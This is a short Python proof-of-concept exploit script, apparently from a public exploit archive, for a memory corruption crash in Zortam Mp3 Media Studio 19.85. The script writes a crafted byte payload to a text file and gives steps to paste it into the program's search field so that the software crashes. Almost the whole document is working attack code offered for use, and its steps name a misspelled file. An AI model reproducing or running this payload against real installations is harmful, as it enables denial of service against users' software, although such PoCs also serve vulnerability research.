Zortam Mp3 Media Studio 19.85 - Memory Corruption Exploit

#!/usr/bin/python

print """
 [+] Exploit Title: Zortam Mp3 Media Studio 19.85 - Memory Corruption
 [+] Exploit Author: ZwX
 [+] Date: 05.12.2015
 [+] Vendor : http://www.zortam.com/
 [+] Download Product: http://www.majorgeeks.com/mg/get/zortam_mp3_center,1.html
 [+] Tested on: Windows 7 
 """
print """
 [+] Manual steps to reproduce the vulnerability :
 =================================================
 1. Launch Zortam.exe
 2. Copy  the characters from Zartam.txt to clipboard
 3. Paste it the input search 
 4. Software will Crash
"""

Crash = ("\x2E\x73\x6E\x64\x00\x00\x01\x18\x00\x00\x42\xDC\x00\x00\x00\x01"
"\x00\x00\x1F\x40\x00\x00\x00\x00\x69\x61\x70\x65\x74\x75\x73\x2E"
"\x61\x75\x00\x20\x22\x69\x61\x70\x65\x74\x75\x73\x2E\x61\x75\x22"
"\x00\x31\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00")

PoC = Crash
  
try:
    file = open("Zortam.txt",'w')
    file.write(PoC)
    file.close()
    print "PoC Create By ZwX\n"
except:
    print "Error"

#  0day.today [2018-02-20]  #